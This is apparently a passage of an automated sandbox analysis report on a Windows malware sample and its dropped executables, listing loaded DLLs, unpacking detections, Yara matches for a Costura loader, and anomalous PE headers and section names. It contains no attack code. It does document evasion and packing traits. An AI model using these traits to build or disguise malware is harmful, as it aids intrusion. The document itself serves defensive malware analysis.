Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\Target.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: mstask.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\10001280101\Bestsoundeffectives.exe	Section loaded: mpr.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1018676001\Baursystempower.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 3012096 > 1048576

Source: file.exe

Static PE information: Raw size of zlfuenkv is bigger than: 0x100000 < 0x2ada00

Source:	Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3330028372.0000000005BF0000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Baursystempower.exe, 00000007.00000002.3356226325.0000000005820000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.0000000003893000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000C.00000002.3499306227.0000000003851000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3595769580.0000000003D41000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3595769580.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004263000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: sourceFinish_setup.pdb source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Baursystempower.exe, 00000007.00000002.3356226325.0000000005820000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.0000000003893000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000C.00000002.3499306227.0000000003851000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3595769580.0000000003D41000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3595769580.0000000003ED1000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004263000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: PE.pdb source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3329637273.0000000005A80000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: protobuf-net.pdb source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.7d0000.0.unpack :EW;.rsrc:W;.idata :W;zlfuenkv:EW;scwcwxkh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zlfuenkv:EW;scwcwxkh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.5b0000.0.unpack :EW;.rsrc:W;.idata :W;zlfuenkv:EW;scwcwxkh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zlfuenkv:EW;scwcwxkh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 4.2.skotes.exe.5b0000.0.unpack :EW;.rsrc:W;.idata :W;zlfuenkv:EW;scwcwxkh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zlfuenkv:EW;scwcwxkh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.5b0000.0.unpack :EW;.rsrc:W;.idata :W;zlfuenkv:EW;scwcwxkh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;zlfuenkv:EW;scwcwxkh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Unpacked PE file: 13.2.8a32a8d958.exe.e80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lzigcvvj:EW;pdsqmwos:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lzigcvvj:EW;pdsqmwos:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	Unpacked PE file: 23.2.ece32691cf.exe.d90000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW;

Yara detected Costura Assembly Loader

Source: Yara match	File source: 24.2.Bestsoundeffectives.exe.5cf0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Baursystempower.exe.5720000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3719246549.0000000005CF0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3355198935.0000000005720000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3439536718.0000000002791000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3552484919.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3320375672.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3458098302.000000000279F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Baursystempower.exe PID: 8032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Gxtuum.exe PID: 7068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Gxtuum.exe PID: 4992, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Target.exe PID: 7228, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Bestsoundeffectives.exe PID: 7416, type: MEMORYSTR

Source: random[1].exe2.6.dr

Static PE information: 0xF456CF88 [Wed Nov 25 22:45:28 2099 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: ece32691cf.exe.6.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: random[1].exe.6.dr	Static PE information: real checksum: 0x1cfc32 should be: 0x1d33c1
Source: 1de5b2f311.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: random[1].exe2.6.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: 8a32a8d958.exe.6.dr	Static PE information: real checksum: 0x1cfc32 should be: 0x1d33c1
Source: Baursystempower[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x140e3a
Source: Baursystempower.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x140e3a
Source: 87c402ca32.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: 9a2c1b4302.exe.6.dr	Static PE information: real checksum: 0x44a521 should be: 0x44e990
Source: file.exe	Static PE information: real checksum: 0x2ed4cd should be: 0x2e94a4
Source: skotes.exe.1.dr	Static PE information: real checksum: 0x2ed4cd should be: 0x2e94a4
Source: Target.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x140e3a
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x44a521 should be: 0x44e990

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: zlfuenkv
Source: file.exe	Static PE information: section name: scwcwxkh
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.1.dr	Static PE information: section name:
Source: skotes.exe.1.dr	Static PE information: section name: .idata
Source: skotes.exe.1.dr	Static PE information: section name: zlfuenkv
Source: skotes.exe.1.dr	Static PE information: section name: scwcwxkh
Source: skotes.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: lzigcvvj
Source: random[1].exe.6.dr	Static PE information: section name: pdsqmwos
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: 8a32a8d958.exe.6.dr	Static PE information: section name:
Source: 8a32a8d958.exe.6.dr	Static PE information: section name: .idata
Source: 8a32a8d958.exe.6.dr	Static PE information: section name:
Source: 8a32a8d958.exe.6.dr	Static PE information: section name: lzigcvvj
Source: 8a32a8d958.exe.6.dr	Static PE information: section name: pdsqmwos
Source: 8a32a8d958.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: uzxdwyvi
